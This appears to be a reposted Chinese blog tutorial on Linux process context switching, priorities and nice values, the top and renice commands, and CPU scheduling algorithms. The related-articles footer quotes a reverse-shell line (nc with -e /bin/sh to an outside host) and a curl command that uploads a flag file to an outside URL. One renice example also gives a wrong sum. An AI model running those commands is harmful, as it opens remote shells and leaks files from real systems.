通过前面的内容我们知道,进程是由操作系统内核来管理和调度的,所以进程的切换只能发生在内核态。也就是说,进程的上下文不仅包括虚拟内存、栈、全局变量等用户空间的资源,还包括内核堆栈、寄存器等内核空间的状态。因此,进程的上下文切换就比系统调用时多了一步——在保存当前进程的内核状态和CPU寄存器之前,需要先把该进程的虚拟内存、栈等保存下来,而加载了下一进程的内核态后,还需要刷新进程的虚拟内存和用户栈。这就是对进程上下文概念的简单阐述,如果想要了解更多关于进程上下文概念的内容,可以参考这篇博客:操作系统:进程上下文。如下是部分内容摘要:

        当一个进程在执行时 ,CPU 的所有寄存器中的值、进程的状态以及堆栈中的内容被称为该进程的上下文。当内核需要切换到另一个进程时,它需要保存当前进程的所有状态,即保存当前进程的上下文,以便在再次执行该进程时,能够必得到切换时的状态执行下去。在 LINUX 中,当前进程上下文均保存在进程的任务数据结构中。在发生中断时 , 内核就在被中断进程的上下文中,在内核态下执行中断服务例程。但同时会保留所有需要用到的资源,以便中断服务结束时能恢复被中断进程的执行。

        内核空间和用户空间是操作系统理论的基础之一,即内核功能模块运行在内核空间,而应用程序运行在用户空间。现代的 CPU 都具有不同的操作模式,代表不同的级别,不同的级别具有不同的功能,在较低的级别中将禁止某些操作。Linux 系统设计时利用了这种硬件特性,使用了两个级别,最高级别和最低级别,内核运行在最高级别(内核态),这个级别可以进行所有操作,而应用程序运行在较低级别(用户态),在这个级别,处理器控制着对硬件的直接访问以及对内存的非授权访问。内核态和用户态有自己的内存映射,即自己的地址空间。

        正是有了不同运行状态的划分,才有了上下文的概念。用户空间的应用程序,如果想要请求系统服务,比如操作一个物理设备,或者映射一段设备空间的地址到用户空间,就必须通过系统调用来(操作系统提供给用户空间的接口函数)实现。

其中,为了保证所有进程可以得到公平调度,CPU 时间被划分为一段段的时间片(一般是毫秒级别的,所以一般人无法感知),这些时间片被轮流分配给各个进程。也就是说,一个进程单次只会执行一个时间片的时间。大多数情况下这一个时间片的时间,并不足以让一个进程执行完毕。那么当一个时间片耗尽时,如果当前进程还没有执行完毕,就要把当前进程从CPU的运行队列中"剥离"下来,并将进程上下文的内容保存到进程控制块(PCB)中,以便下次加载时能够从当前停止的位置继续运行。紧接着将这个被剥离下来的进程PCB根据进程的调度算法由操作系统添加到CPU资源的等待队列中,然后再将新的进程加入到CPU的运行队列,切换进程上下文,完成进程切换。

除了时间片中断会使操作系统切换进程上下文外,还会有如下这些情况:

  1. 阻塞式系统调用、虚拟地址异常——导致被中断进程进入等待态。
  2. 时间片中断、I/O中断后发现更改优先级进程——导致被中断进程进入就绪态。
  3. 终止用系统调用、不能继续执行的异常——导致被中断进程进入终止态。

进程优先级与进程调度

进程优先级

一般情况下,操作系统中的进程数量非常的多,而CPU资源有限的,所以为了能够高效完成任务,更合理竞争相关资源,便引入了进程优先级。
其中,进程分为实时进程与非实时进程,实时进程通常是用户定义的一般进程,非实时进程一般是操作系统的内核进程。实时进程具有一定程度上的紧迫性,要求对外部事件做出非常快的响应。而普通进程则没有这种限制。所以,操作系统对进程的调度会区分对待这两种进程。通常实时进程要比普通进程优先运行。
不同的操作系统对优先级的表述是不同的,但基本上都大同小异。例如:

在Linux下,进程优先级在进程信息中是用PRI来表示的(priority的简写),这个PRI又与nice值(也就是NI)息息相关,PRI的相关内容概述如下:

  1. 与PID类似,PRI在底层的实现本质也是PCB中的一个整型字段(变量)。其中,PRI 越低,表示进程的优先级越高。
  2. 在Linux下,进程的优先级一共有140个档次,常被认为的0-139这140个档次,一般实时进程是0-99这个部分的,非实时进程是100-139后面这几个档次的。
  3. 非实时进程的优先级的值与nice值(也就是NI)息息相关,进程优先级=old+nice,这里的old指的是每一个非实时进程初始的默认值(不考虑映射的情况下是120),而不是上一次的进程优先级的值。
  4. 通过ps指令查看的一般普通进程的PRI为80(ps指令带杠的情况),而不是120,这是因为用ps指令查看显示的PRI值的范围是 -40~99,其中 60~99是普通进程,-40~59是实时进程。而由于一些版本原因,ps不带杠的情况下默认值是20。
  5. 而通过top指令查看的PR值范围是0~39,表示的是非实时进程的范围,这是因为top指令显示的PR值不监测实时进程。
  6. nice值只会影响非实时进程,也就是一般的进程,无法对系统内核的进程产生影响。其中,nice的范围为 -20~19,与非实时进程的40个范围相呼应。
  7. 可以通过在top指令(top→按r→输入pid→输入修改的nice值),或者用renice指令来修改一共非实时进程的nice值。其中,普通用户只能将nice值设为正值,只有用sudo提权之后或者root用户才可以把nice值设为负值。

补充 - top指令和renice指令的用法

top指令:

top命令经常用来监控linux的系统状况,是常用的性能分析工具,能够实时显示系统中各个进程的资源占用情况。

使用格式

        top [-d number] | top [-bnp]

常用参数

参数含义
-d numbernumber代表秒数,表示top命令显示的页面更新一次的间隔 (default=5s)
-b以批次的方式执行top
-n与-b配合使用,表示需要进行几次top命令的输出结果
-p指定特定的pid进程号进行观察

top命令显示的页面还可以输入以下按键执行相应的功能(注意大小写区分)

参数含义
显示在top当中可以输入的命令
P以CPU的使用资源排序显示
M以内存的使用资源排序显示
N以pid排序显示
T由进程使用的时间累计排序显示
k给某一个pid一个信号,可以用来杀死进程(9)
r给某个pid重新定制一个nice值(即优先级)
q退出top(用ctrl+c也可以退出top)

内容参考:linux top命令详解(看这一篇就够了)_Steven.1的博客-CSDN博客

renice指令:

top指令其实更偏向于进程的监视,renice指令比较适合修改非实时进程的优先级。

常用参数

-g 指定进程组id

-p 改变该程序的优先权等级,此参数为预设值

-u 指定开启进程的用户名

用法示例

   将PID为1101进程的PRI设置为80+12=32(省略了加号'+')

renice 12 1101

   将PID为987、32的进程,与进程拥有者为daem及root的优先序号码加1(没有省略加号'+')

renice +1 987 -u daem root -p 32

最后,如果感觉意犹未尽,想要对进程优先级了解的更多,可以尝试看一下这篇博客:技术|深入 Linux 的进程优先级icon-default.png?t=N7T8https://linux.cn/article-7325-1.html

进程调度算法

进程调度算法也称CPU调度算法(毕竟进程是由CPU调度的),当CPU空闲时,操作系统就选择内存中的某个就绪状态的进程,并给其分配CPU。具体来说,通常有如下几种情况:

  1. 进程从运行状态转到等待状态
  2. 进程从运行状态转到就绪状态
  3. 进程从等待状态转到就绪状态
  4. 进程从运行状态转到终止状态

那么为什么第3种情况也会发生CPU调度呢?假设有一个进程是处于等待状态的,但是它的优先级比较高,如果该进程等待的事件发生了,它就会转到就绪状态,一旦它转到就绪状态,如果我们的调度算法是以优先级来进行调度的,那么它就有可能立马抢占正在运行的进程,所以这个时候就会发生CPU调度。
其中, 第2种状态通常是时间片到的情况,因为时间片到了就会发生中断,于是就会抢占正在运行的进程,从而占用CPU。

内容补充 - 抢占式和非抢占式:

非抢占式的意思是,当进程正在运行时,它就会一直运行,直到该进程完成或发生某个事件而被阻塞时,才会把CPU让给其他进程。而抢占式,顾名思义,就是进程正在运行时可以被打断,使其把CPU让给其他进程。

其中,发生在 1 和 4 两种情况下的调度称为"非抢占式调度",2 和 3 两种情况下发生的调度称为"抢占式调度"。而进程抢占的原则一般有如下三种:

  1. 优先权原则:允许优先级高的进程抢优先级低进程的CPU资源。
  2. 短进程优先:新到的短时间进程,可以抢占当前长进程的CPU资源。
  3. 时间片原则:按照时间片来分配时间来,时间结束就要停止该进程的执行,重新等待时间片的分配。

注意,调度算法影响的是等待时间(进程在就绪队列中等待调度的时间总和),并不能影响进程真在使用 CPU 的时间和 I/O 时间。


接下来,就让我们来认识一些常见的调度算法:

1、先来先服务调度算法(FCFS , First Come First Severd

先来先服务调度算法是一种最简单的调度算法,也称为先进先出或严格排队方案。当每个进程就绪后,它加入就绪队列。当前正运行的进程停止执行,选择在就绪队列中存在时间最长的进程运行。该算法既可以用于作业调度,也可以用于进程调度。先来先去服务比较适合于长作业(进程),而不利于短作业(进程)。
FCFS调度算法属于非抢占式的算法。从表面上看,它对所有作业都是公平的,但若一个长作业先到达系统,就会使后面许多短作业等待很长时间,造成短进程饥饿(进程饥饿是指进程长时间得不到CPU资源),因此它不能作为分时系统和实时系统的主要调度策略。但它常被结合在其他调度策略中使用。例如,在使用优先级作为调度策略的系统中,往往对多个具有相同优先级的进程按FCFS原则处理。

2、短作业(进程)优先调度算法(SJF , Shortest Job First | SPF  , Shortest Process First

短作业(进程)优先调度算法是指对短作业(进程)优先调度的算法。短作业优先(SJF)调度算法是从后备队列中选择一个或若干个估计运行时间最短的作业,将它们调入内存运行。而短进程优先(SPF)调度算法,则是从就绪队列中选择一个估计运行时间最短的进程,将处理机分配给它,使之立即执行,直到完成或发生某事件而阻塞时,才释放处理机。
SJF(SPF)调度算法属于非抢占式的算法,他的原则是下一次选择预计处理时间最短的进程,因此短进程将会越过长作业跳至队列头。该算法既可用于作业调度,也可用于进程调度。但是他对长作业不利,不能保证紧迫性作业(进程)被及时处理,而且作业的长短只是被估算出来的。

3、最短剩余时间优先调度算法(SRTN , Shortest Remaining Time Next

最短剩余时间是针对最短进程优先增加了抢占机制的版本。在这种情况下,进程调度总是选择预期剩余时间最短的进程。当一个进程加入到就绪队列时,如果比当前运行的进程具有更短的剩余时间,那么只要新进程就绪,调度程序就能抢占当前正在运行的进程。像最短进程优先一样,调度程序正在执行选择函数是必须有关于处理时间的估计,并且存在长进程饥饿的危险。

4、高响应比优先调度算法(HRRN , Highest Response Ratio Next

根据比率:R=(w+s) / s (R为响应比,w为等待处理的时间,s为预计的服务时间)

调度规则为:当前进程完成或被阻塞时,选择R值最大的就绪进程。

高响应比优先调度算法主要用于作业调度,该算法是对FCFS调度算法和SJF调度算法的一种综合平衡,同时考虑每个作业的等待时间和估计的运行时间。具体解释如下:

  • 如果两个进程的「等待时间」相同时,「要求的服务时间」越短,「响应比」就越高,这样短作业的进程容易被选中运行。
  • 如果两个进程「要求的服务时间」相同时,「等待时间」越长,「响应比」就越高,这就兼顾到了长作业进程,因为进程的响应比可以随时间等待的增加而提高,当其等待时间足够长时,其响应比便可以升到很高,从而获得运行的机会。

5、时间片轮转调度算法(RR , Round Robin

时间片轮转调度算法主要适用于分时系统。在这种算法中,系统将所有就绪进程按到达时间的先后次序排成一个队列,进程调度程序总是选择就绪队列中第一个进程执行,但仅能运行一个时间片,例如30ms这种。在使用完一个时间片后,即使进程并未完成其运行,它也必须释放出(被剥夺)CPU给下一个就绪的进程,接着返回到就绪队列的末尾重新排队,等候再次运行。
在时间片轮转调度算法中,时间片的大小对系统性能的影响很大。如果时间片足够大,以至于所有进程都能在一个时间片内执行完毕,则时间片轮转调度算法就退化为先来先服务调度算法。如果时间片很小,那么处理机将在进程间过于频繁切换,使处理机的开销增大,而真正用于运行用户进程的时间将减少。因此时间片的大小应选择适当。而时间片设为20~50ms通常是一个比较合理的值。

6、最高优先级调度算法(HPF , Highest Priority First

优先级调度算法又称优先权调度算法,该算法既可以用于作业调度,也可以用于进程调度。其中,优先级用于描述作业运行的紧迫程度。

在作业调度中,优先级调度算法每次从后备作业队列中选择优先级最髙的一个或几个作业,将它们调入内存,分配必要的资源,创建进程并放入就绪队列。在进程调度中,优先级调度算法每次从就绪队列中选择优先级最高的进程,将CPU分配给它,使之投入运行。根据新的更高优先级进程能否抢占正在执行的进程,可将该调度算法分为:

  • 非抢占式优先级调度算法:当某一个进程正在CPU上运行时,即使有某个更为重要或紧迫的进程进入就绪队列,仍然让正在运行的进程继续运行,直到由于其自身的原因而主动让出处理机时(任务完成或等待事件),才把CPU分配给更为重要或紧迫的进程。

  • 抢占式优先级调度算法:当一个进程在CPU上运行时,若有某个更为重要或紧迫的进程进入就绪队列,则立即暂停正在运行的进程,将处理机分配给更重要或紧迫的进程。

而根据进程创建后其优先级是否可以改变,可以将进程优先级分为以下两种:

  • 静态优先级:优先级是在创建进程时确定的,且在进程的整个运行期间保持不变。确定静态优先级的主要依据有进程类型、进程对资源的要求、用户要求。

  • 动态优先级:在进程运行过程中,根据进程情况的变化动态调整优先级。动态调整优先级的主要依据为进程占有CPU时间的长短、就绪进程等待CPU时间的长短。

7、多级反馈队列调度算法(MLFQ , Multi-level Feedback Queue

多级反馈队列算法,不必事先知道各种进程所需要执行的时间,他是当前被公认的一种较好的进程调度算法。多级反馈队列调度算法的实现思想如下:

  1. 设置多个队列,赋予每个队列不同的优先级,每个队列优先级从高到低,同时优先级越高时间片越短。
  2. 新的进程会被放入到第一级队列的末尾,按先来先服务的原则排队等待被调度,如果在第一级队列规定的时间片没运行完成,则将其转入到第二级队列的末尾,以此类推,直至完成。
  3. 当较高优先级的队列为空,才调度较低优先级的队列中的进程运行。如果进程运行时,有新进程进入较高优先级的队列,则停止当前运行的进程并将其移入到原队列末尾,接着让较高优先级的进程运行。

可以发现,对于短作业可能可以在第一级队列很快被处理完。对于长作业,如果在第一级队列处理不完,可以移入下次队列等待被执行,虽然等待的时间变长了,但是运行时间也会更长了,所以该算法很好的兼顾了长短作业,同时有较好的响应时间。


内容参考:

  • 大厂面试爱问的「调度算法」,20 张图一举拿下 - 小林coding - 博客园 (cnblogs.com)
  • 操作系统——进程调度的几种算法_什么是短进程调度算法-CSDN博客

Linux具体的进程调度

前面我们说过,Linux的进程分普通进程和实时进程,实时进程的优先级(0~99)比普通进程的优先级(100~139)要高,当系统中有实时进程运行时,普通进程几乎是无法分到时间片的。所以,实时进程和普通进程的调度是两种不同的策略。因为实时进程的紧迫性,所以实时进程一般采用的是先来先服务(FCFS)和时间片轮转(RR)调度算法。而普通进程则采用一些相对公平的算法,例如在Linux2.6.23之后引入的CFS算法,其中CFS涉及红黑树等门槛较高的内容,所以就不展开叙述,感兴趣的可以参考:一文搞懂linux cfs调度器 - 知乎 (zhihu.com)icon-default.png?t=N7T8https://zhuanlan.zhihu.com/p/556295381#:~:text=%E4%B8%80%E6%96%87%E6%90%9E%E6%87%82linux%20cfs%E8%B0%83%E5%BA%A6%E5%99%A8%201%201%EF%BC%8C%E4%BB%8B%E7%BB%8D%20CFS%EF%BC%88Completely%20Fair%20Scheduler%EF%BC%8C%E5%AE%8C%E5%85%A8%E5%85%AC%E5%B9%B3%E8%B0%83%E5%BA%A6%E5%99%A8%29%E7%94%A8%E4%BA%8ELinux%E7%B3%BB%E7%BB%9F%E4%B8%AD%E6%99%AE%E9%80%9A%E8%BF%9B%E7%A8%8B%E7%9A%84%E8%B0%83%E5%BA%A6%E3%80%82%20%E5%AE%83%E7%BB%99cfs_rq%EF%BC%88cfs%E7%9A%84run,%E8%BF%90%E8%A1%8C%E9%98%9F%E5%88%97%E3%80%81cfs%E8%BF%90%E8%A1%8C%E9%98%9F%E5%88%97%EF%BC%8C%E4%BB%BB%E5%8A%A1task%E3%80%81%E4%BB%BB%E5%8A%A1%E7%BB%84%E3%80%81%E8%B0%83%E5%BA%A6%E5%AE%9E%E4%BD%93%E7%BB%93%E6%9E%84%E4%BD%93%E7%AE%80%E4%BB%8B%EF%BC%9A%20...%204%204%EF%BC%8C%E6%B5%81%E7%A8%8B%E5%88%86%E6%9E%90%20%E6%95%B4%E4%B8%AACFS%E7%9A%84%E6%A0%B8%E5%BF%83%E5%B0%B1%E6%98%AF%E5%9F%BA%E4%BA%8Ecfs%E8%B0%83%E5%BA%A6%E7%B1%BB%E5%AE%9E%E7%8E%B0%E7%9A%84%E5%90%84%E4%B8%AA%E5%87%BD%E6%95%B0%EF%BC%8C%E6%8E%A5%E4%B8%8B%E6%9D%A5%E7%9A%84%E6%B5%81%E7%A8%8B%E5%88%86%E6%9E%90%E4%B9%9F%E5%9F%BA%E4%BA%8E%E8%BF%99%E4%BA%9B%E6%A0%B8%E5%BF%83%E5%87%BD%E6%95%B0%E3%80%82%204.1%20vruntime%E7%9A%84%E8%AE%A1%E7%AE%97%20

如果觉得上面这篇比较晦涩难懂,可以尝试看一下下面这篇博客的相关部分

Linux进程(三)--进程切换&命令行参数-CSDN博客icon-default.png?t=N7T8https://blog.csdn.net/m0_64707620/article/details/133822294

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1146023.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

PLC案例集合

这里写自定义目录标题 按时断电一次性按钮震荡电路上升沿和下降沿红绿灯案例抢答器未完待续 下载程序时&#xff0c;必须将PLC处于停机状态&#xff08;STOP&#xff09; 重新下载程序后&#xff0c;M会保持上一次程序中的状态。 所以&#xff0c;程序开始前要对中继进行复位 …

Windows查看核心与线程数

文章目录 前言一、可视化界面1、任务管理器2、设备管理器3、CPU-Z 二、命令或程序1、cmd命令2、Java程序 前言 查询电脑硬件CPU信息命令的学习&#xff0c;予以记录&#xff01; 参考博客&#xff1a;https://blog.csdn.net/huazicomeon/article/details/53540852 一、可视化界…

【计算机网络笔记】Web缓存/代理服务器技术

系列文章目录 什么是计算机网络&#xff1f; 什么是网络协议&#xff1f; 计算机网络的结构 数据交换之电路交换 数据交换之报文交换和分组交换 分组交换 vs 电路交换 计算机网络性能&#xff08;1&#xff09;——速率、带宽、延迟 计算机网络性能&#xff08;2&#xff09;…

echarts 按需加载处理

下载内容 npm install echarts --save按需封装组件 // 引入 echarts 核心模块&#xff0c;核心模块提供了 echarts 使用必须要的接口。 import * as echarts from echarts/core; import echarts/lib/component/legend// 引入柱状图图表&#xff0c;图表后缀都为 Chart // 引入…

HarmonyOS鸿蒙原生应用开发设计- 图标库

HarmonyOS设计文档中&#xff0c;为大家提供了独特的图标库&#xff0c;开发者可以根据需要直接引用。 图标库可以分为双色图标、填充图标、线性图标。具体分为 键盘、箭头、连接状态、媒体、人、设备、索引、通信、文件、物体与工具等。 整体分类 开发者直接使用官方提供的图标…

杂牌行车记录仪mp4恢复案例

行车记录仪是一种常见的视频采集设备&#xff0c;随着国内汽车市场的疯涨而普及&#xff0c;基本上每个车上都有&#xff0c;这一类记录仪有的是主机厂自带的&#xff08;如特斯拉&#xff09;&#xff0c;但更多的是第三方厂商生产的独立的记录仪。下面我们看一个小厂商的记录…

测开 (性能测试)

目录 前言 1、性能测试和功能测试的区别 2、性能好与不好的表现 3、性能测试衡量指标 && 名称解释 指标一&#xff1a;并发用户数 指标二&#xff1a;响应时间 / 平均响应时间 指标三&#xff1a;事务 指标四&#xff1a;点击率&#xff08;Hit Per Second&…

HLS直播协议详解

文章目录 前言一、HLS 协议简介二、HLS 总体框架三、HLS 优势及劣势四、HLS 主要的应用场景五、M3U8 详解1、简介2、一级 m3u83、二级 m3u84、tag 说明①、名词说明②、tag 分类1&#xff09;Basic Tags2&#xff09;Media Segment Tags3&#xff09;Media Playlist Tags4&…

C++单调向量算法应用:所有子数组中不平衡数字之和

涉及知识点 单调向量 题目 一个长度为 n 下标从 0 开始的整数数组 arr 的 不平衡数字 定义为&#xff0c;在 sarr sorted(arr) 数组中&#xff0c;满足以下条件的下标数目&#xff1a; 0 < i < n - 1 &#xff0c;和 sarr[i1] - sarr[i] > 1 这里&#xff0c;sort…

OSPF,RIP和BGP的路由汇总

OSPF路由汇总 OSPF的路由汇总需要注意以下两点 1.OSPF的路由汇总仅支持手动汇总 注&#xff1a;距离矢量路由协议支持自动路由汇总&#xff0c;链路状态路由协议仅支持手动路由汇总&#xff08;OSPF,ISIS&#xff09; 2.OSPF的路由汇总只在区域边界进行汇总 OSPF的路由汇总…

反弹shell和DNS外带

反弹shell讲解 system("nc s546459d57.zicp.fun 23494 -e /bin/sh"); rce无回显&#xff0c;反弹shell详解 DNS外带&#xff1a; curl -X POST -F xxflag.php http://aaa 从目标网站以POST方式向http://aaa上传一个文件&#xff0c;名字叫xx 文件内容是flag.php/…

基于深度学习的行人属性辨识研究

收藏和点赞&#xff0c;您的关注是我创作的动力 文章目录 概要 一、 实验设计与结果分析3.1 CACD数据集及图像预处理 二、行人属性识别4.2 系统开发环境4.3 功能模块实现4.3.1 图像采集模块结 论 概要 本文提供了一个采用更多消耗函数方法的网络模式,将交叉熵损耗函数和经过修…

IOC课程整理-9

0 总览 1. Spring Bean 元信息配置阶段 2. Spring Bean 元信息解析阶段 3. Spring Bean 注册阶段 4. Spring BeanDefinition 合并阶段 5. Spring Bean Class 加载阶段 6. Spring Bean 实例化前阶段 InstantiationAwareBeanPostProcessor#postProcessBeforeInstantiation 若返回…

实战经验分享FastAPI 是什么

FastAPI 是什么&#xff1f;FastAPI实战经验分享 ![在这里插入图片描述](https://img-blog.csdnimg.cn/7e9e23e6fe3444238413d91f37064b65.png](https://fastapi.tiangolo.com/) FastAPI 是一个先进、高效的 Python Web 框架&#xff0c;专门用于构建基于 Python 的 API。它是…

【扩散模型】HuggingFace Diffusers实战

HuggingFace Diffusers实战 1. 环境准备2. DreamBooth2.1 Stable Diffusion简介2.2 DreamBooth 3. Diffusers核心API4. 实战&#xff1a;生成美丽的蝴蝶图像4.1 下载数据集4.2 调度器4.3 定义扩散模型4.4 创建扩散模型训练循环4.5 图像的生成方法1.建立一个管线方法2.写一个采样…

python:使用Scikit-image对遥感影像进行小波变换特征提取(wavelet)

作者:CSDN @ _养乐多_ 在本博客中,我们将介绍如何使用Scikit-image库进行单波段遥感图像的特征提取,重点关注小波变换方法,特别是Gabor滤波器。我们将详细解释代码中的参数以及如何调整它们以满足不同需求。 小波变换是一种数学工具,用于将信号分解成不同尺度和频率的成…

CAN协议详解

1.CAN 协议概述 简介 CAN 是控制器局域网络 (Controller Area Network) 的简称&#xff0c;它是由研发和生产汽车电子产品著称的德国 BOSCH 公司开发的&#xff0c;并最终成为国际标准(ISO11519以及ISO11898),是国际上应用最广泛的现场总线之一。是一种串行的差分总线&#x…

TLSF——一种高效的内存池实现

Arena 起源于计算内核关于堆内存使用的相关优化。 系统调用分配和回收内存的开销较大&#xff0c;一个优化是预先通过系统调用分配一大块内存&#xff0c;然后每次内存使用从大块内存中切出一小份内存使用。 Arena用于维护大块内存切分出来的大量小块内存&#xff0c;达到高效…

网站不被谷歌收录的常见原因及解决办法

现如今的互联网中&#xff0c;流量获取的渠道多种多样&#xff0c;但对于独立站而言&#xff0c;Google仍然是一个重要的流量来源。这是因为Google拥有庞大的用户基础&#xff0c;通过Google可以让潜在用户更容易发现我们的网站。然而&#xff0c;现实情况是&#xff0c;一些网…

STM32 — PWM介绍和使用PWM实现呼吸灯效果

目录 PWM介绍 PWM输出模式&#xff1a; PWM占空比&#xff1a; PWM周期与频率公式&#xff1a; 使用PWM点亮LED灯实现呼吸灯效果 1. 在 SYS 选项里&#xff0c;将 Debug 设为 Serial Wire​编辑 2. 将 RCC 里的 HSE 设置为 Crystal/Ceramic Resonator 3. 时钟配置 4.配…